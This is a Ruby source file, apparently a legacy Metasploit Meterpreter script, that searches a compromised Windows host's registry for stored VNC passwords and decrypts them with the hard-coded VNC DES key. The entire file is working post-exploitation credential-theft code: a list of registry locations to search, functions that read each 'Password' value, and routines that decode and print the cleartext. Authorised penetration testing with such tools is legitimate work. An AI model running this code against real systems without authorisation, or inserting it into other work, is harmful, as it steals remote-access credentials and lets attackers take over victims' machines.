110 lines
3.1 KiB
Ruby
110 lines
3.1 KiB
Ruby
##
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# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
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# If you'd like to improve this script, please try to port it as a post
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# module instead. Thank you.
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##
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#----------------------------------------------------------------
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# Meterpreter script to obtain the VNC password out of the
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# registry and print its decoded cleartext
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#
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# by Kurt Grutzmacher <grutz@jingojango.net>
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#
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# rev history
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# -----------
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# 1.0 - 9/24/9 - Initial release
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#----------------------------------------------------------------
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require 'rex/proto/rfb/cipher'
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session = client
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@@exec_opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help menu."],
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"-k" => [ true, "Specific registry key to search (minus Password)."],
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"-l" => [ false, "List default key locations"]
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)
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def usage()
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print("\nPull the VNC Password from a Windows Meterpreter session\n")
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print("By default an internal list of keys will be searched.\n\n")
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print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n")
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print("\t-l\tList default key locations\n\n")
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completed
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end
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def get_vncpw(session, key)
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root_key, base_key = session.sys.registry.splitkey(key)
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open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
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begin
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return open_key.query_value('Password')
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rescue
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# no registry key found or other error
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return nil
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end
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end
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def listkeylocations(keys)
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print_line("\nVNC Registry Key Locations")
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print_line("--------------------------\n")
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keys.each { |key|
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print_line("\t#{key}")
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}
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completed
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end
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# fixed des key
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fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
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# 5A B2 CD C0 BA DC AF 13
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# some common places for VNC password hashes
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keys = [
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'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3',
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'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default',
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'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default',
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'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4',
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'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default',
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]
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# parse the command line
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listkeylocs = false
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keytosearch = nil
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@@exec_opts.parse(args) { |opt, idx, val|
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case opt
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when "-h"
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usage
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when "-l"
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listkeylocations(keys)
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when "-k"
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keytosearch = val
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end
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}
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if client.platform == 'windows'
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if keytosearch == nil
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print_status("Searching for VNC Passwords in the registry....")
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keys.each { |key|
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vncpw = get_vncpw(session, key)
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if vncpw
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vncpw_hextext = vncpw.data.unpack("H*").to_s
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vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
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print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}")
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end
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}
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else
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print_status("Searching in regkey: #{keytosearch}")
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vncpw = get_vncpw(session, keytosearch)
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if vncpw
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vncpw_hextext = vncpw.data.unpack("H*").to_s
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vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
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print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}")
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else
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print_status("Not found")
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end
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end
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else
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print_error("This version of Meterpreter is not supported with this Script!")
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raise Rex::Script::Completed
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end
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